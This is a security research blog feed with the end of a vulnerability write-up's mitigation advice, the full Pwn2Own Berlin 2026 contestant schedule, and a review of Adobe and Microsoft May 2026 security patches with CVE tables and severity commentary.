· For systems that require IKE, configure firewall rules to allow inbound traffic on UDP ports 500 and 4500 only from known peer addresses.

These mitigations may be removed once the security patch is applied. The only way to fully remediate the vulnerability is to apply the update from the vendor.

Special thanks to Richard Chen and Lucas Miller of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

Pwn2Own Berlin 2026: The Full Schedule

Sat, 25 Jul 2026 19:02:56 +0200

Willkommen! (Welcome!) Pwn2Own Berlin 2026 has arrived at OffensiveCon, and the world’s top security researchers are ready. This year’s enterprise-focused competition features AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products.

Earlier today, we held the random draw to determine attempt order. Below is the official schedule. All times are Berlin local time (CET) and may change as the competition progresses. Check back for live updates.

In case you missed it, you can watch the draw here.

Jump to:

Day One

Day Two

Day Three

DAY ONE

Thursday, May 14 - 1030

chompie of IBM X-Force Offensive Research (XOR) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) targeting Microsoft Edge – Sandbox Escape in the Web Browser category for a total of $175,000 and 17.5 Master of Pwn points

Thursday, May 14 - 1130

k3vg3n targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1300

Angelboy (@scwuaptx) of DEVCORE Research Team and TwinkleStar03 (@_twinklestar03), working with DEVCORE Internship Program targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Park Jae Min (@hiariz) targeting Oracle Autonomous AI Database in the AI Database category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1400

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points.

Yoseop kim(@pwning_me) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1500

Ben Koo (@kiddo_pwn) of Team DDOS targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Interrupt Labs targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Thursday, May 14 - 1530

maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1600

Billy (@st424204), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Marcin Wiązowski targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Thursday, May 14 - 1630

haehae (@haehaeYang) of Out Of Bounds targeting Chroma in the AI Database category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1730

chompie of IBM X-Force Offensive Research (XOR) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Yoseop Kim(@pwning_me) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Thursday, May 14 - 1800

@rewhiles of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1830

Kentaro Kawane of GMO Cybersecurity by Ierae targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Qrious Secure (@qriousec) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1900

haehae (@haehaeYang) of Out of Bounds targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Back to top

DAY TWO

Friday, May 15 - 1030

Ben Koo (@kiddo_pwn) of Team DDOS targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Stephen Fewer (Rapid7) targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points

Tao Yan (@Ga1ois) and Edouard Bochin (@le_douds) from Palo Alto Networks targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points

Friday, May 15 - 1130

Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points

Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) and Bruno Halltari (@BrunoModificato) of OtterSec targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1300

Ruitong from the Abstract Team at the University of Colorado Boulder targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Friday, May 15 - 1330

Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points

Orange Tsai (@orange_8361) of DEVCORE Research Team targeting Microsoft Exchange in the Server category for a total of $200,000 and 20 Master of Pwn points

Friday, May 15 - 1400

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1430

Billy (@st424204), Bruce Chen(@bruce30262), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs ) of STARLabs SG (@starlabs_sg) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

David Tae, Louis Hur of Out Of Bounds targeting Ollama in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1530

Team: Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Friday, May 15 - 1600

@rewhiles of Viettel Cyber Security (@vcslab) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Siyeon Wi targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Friday, May 15 - 1630

Byung Young Yi (@yibarrack) of Out Of Bounds targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1700

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points

Friday, May 15 - 1800

Daniel Cohen Hillel (@0xDACA) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Back to top

DAY THREE

Saturday, May 16 - 1100

Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Saturday, May 16 - 1330

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Hyunwoo Kim (@v4bel) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Team: Giuseppe Calì (@_gcali) of Summoning Team targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points

Saturday, May 16 - 1430

splitline (@_splitline_) of DEVCORE Research Team targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points

Saturday, May 16 - 1600

Byung Young Yi (@yibarrack) of Out Of Bounds targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points

Follow the action live! We’ll be posting real-time updates and results throughout the competition on our blog and across social media. Stay up to date by following us on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage.

The May 2026 Security Update Review

Sat, 25 Jul 2026 19:02:56 +0200

I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.

Adobe Patches for May 2026

For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-49	Adobe Commerce	15	Critical	8.7	No	2
APSB26-48	Adobe After Effects	4	Critical	7.8	No	3
APSB26-50	Adobe Connect	2	Critical	9.6	No	3
APSB26-51	Adobe Illustrator	4	Critical	7.8	No	3
APSB26-47	Adobe Media Encoder	2	Critical	7.8	No	3
APSB26-46	Adobe Premiere Pro	3	Critical	7.8	No	3
APSB26-55	Adobe Substance 3D Painter	2	Critical	7.8	No	3
APSB26-54	Adobe Substance 3D Sampler	1	Critical	7.8	No	3
APSB26-53	Content Authenticity SDK	14	Critical	7.5	No	3
APSB26-52	Adobe Substance 3D Designer	5	Important	6.3	No	3
TOTAL	10 bulletins	52

The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.

Microsoft Patches for May 2026

This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.

This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.

None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:

- CVE-2026-41096 - Windows DNS Client Remote Code Execution Vulnerability
This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.

- CVE-2026-41089 - Windows Netlogon Remote Code Execution Vulnerability
This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.

- CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.

- CVE-2026-40415 - Windows TCP/IP Remote Code Execution Vulnerability
This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.

Here’s the full list of CVEs released by Microsoft for May 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-35435	Azure AI Foundry Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-35428	Azure Cloud Shell Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-42826	Azure DevOps Information Disclosure Vulnerability	Critical	10	No	No	Info
CVE-2026-32207	Azure Machine Learning Notebook Spoofing Vulnerability	Critical	8.8	No	No	Spoofing
CVE-2026-33109	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-33844	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9	No	No	RCE
CVE-2026-41105	Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability	Critical	8.1	No	No	EoP
CVE-2026-33111	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26129	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26164	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-33821	Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability	Critical	7.7	No	No	EoP
CVE-2026-42898	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-40379	Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability	Critical	9.3	No	No	Spoofing
CVE-2026-40363	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40358	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-34327	Microsoft Partner Center Spoofing Vulnerability	Critical	8.2	No	No	Spoofing
CVE-2026-40365	Microsoft SharePoint Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41103	Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability	Critical	9.1	No	No	EoP
CVE-2026-33823	Microsoft Team Events Portal Information Disclosure Vulnerability	Critical	9.6	No	No	Info
CVE-2026-40364	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40366	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40361	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40367	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-42831	Office for Android Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-41096	Windows DNS Client Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-35421	Windows GDI Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-40403	Windows Graphics Component Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-40402	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-32161	Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability	Critical	7.5	No	No	RCE
CVE-2026-41089	Windows Netlogon Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-32175	.NET Core Tampering Vulnerability	Important	4.3	No	No	Tampering
CVE-2026-32177	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-35433	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2025-54518 *	AMD: CVE-2025-54518 CPU OP Cache Corruption	Important		No	No	RCE
CVE-2026-42899	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40381	Azure Connected Machine Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42823 †	Azure Logic Apps Elevation of Privilege Vulnerability	Important	9.9	No	No	EoP
CVE-2026-33833	Azure Machine Learning Notebook Spoofing Vulnerability	Important	8.2	No	No	Spoofing
CVE-2026-32204	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42830	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-33117	Azure SDK for Java Security Feature Bypass Vulnerability	Important	9.1	No	No	SFB
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-35424	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-41614	M365 Copilot for Desktop Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-41100	Microsoft 365 Copilot for Android Spoofing Vulnerability	Important	4.4	No	No	Spoofing
CVE-2026-40377	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-41094	Microsoft Data Formulator Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40417	Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42833	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Important	9.1	No	No	RCE
CVE-2026-42838	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	5.4	No	No	EoP
CVE-2026-40360	Microsoft Excel Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-40359	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-40362	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-42832	Microsoft Excel Spoofing Vulnerability	Important	7.7	No	No	Spoofing
CVE-2026-34329	Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40419	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40418	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35436	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-40420	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-42893	Microsoft Outlook for iOS Tampering Vulnerability	Important	7.4	No	No	Tampering
CVE-2026-40374	Microsoft Power Automate Desktop Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41102	Microsoft PowerPoint for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35439	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40368	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33110	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-33112	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40357	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-32185	Microsoft Teams Spoofing Vulnerability	Important	5.5	No	No	Spoofing
CVE-2026-41101	Microsoft Word for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35440	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40421	Microsoft Word Information Disclosure Vulnerability	Important	4.3	No	No	Info
CVE-2026-41097	Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-40370 †	SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-41613	Visual Studio Code Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-41612	Visual Studio Code Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41611	Visual Studio Code Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-41610	Visual Studio Code Security Feature Bypass Vulnerability	Important	6.3	No	No	SFB
CVE-2026-33839	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33840	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34330	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34331	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35423	Windows 11 Telnet Client Information Disclosure Vulnerability	Important	5.4	No	No	Info
CVE-2026-35438	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-41086	Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-34344	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34345	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35416	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41088	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34343	Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35418	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33835	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34337	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40407	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40397	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42896	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35419	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34336	Windows DWM Core Library Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-33834	Windows Event Logging Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32209	Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-33841	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35420	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40369	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34332	Windows Kernel-Mode Driver Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-34339	Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-34341	Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33838	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34342	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41095	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34340	Windows Projected File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-40398	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21530	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32170	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-40410	Windows SMB Client Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35415	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34350	Windows Storport Miniport Driver Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-40405	Windows TCP/IP Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40414	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-40401	Windows TCP/IP Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-40413	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-35422	Windows TCP/IP Driver Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-34351	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40399	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34334	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40406	Windows TCP/IP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-33837	Windows TCP/IP Local Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40415	Windows TCP/IP Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-42825	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34338	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40382	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40380	Windows Volume Manager Extension Driver Remote Code Execution Vulnerability	Important	6.2	No	No	RCE
CVE-2026-40408	Windows WAN ARP Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34333	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34347	Windows Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35417	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42891	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-35429	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-41107	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	7.4	No	No	Info
CVE-2026-40416	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.

Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.

As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.

This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption. Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook. On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.

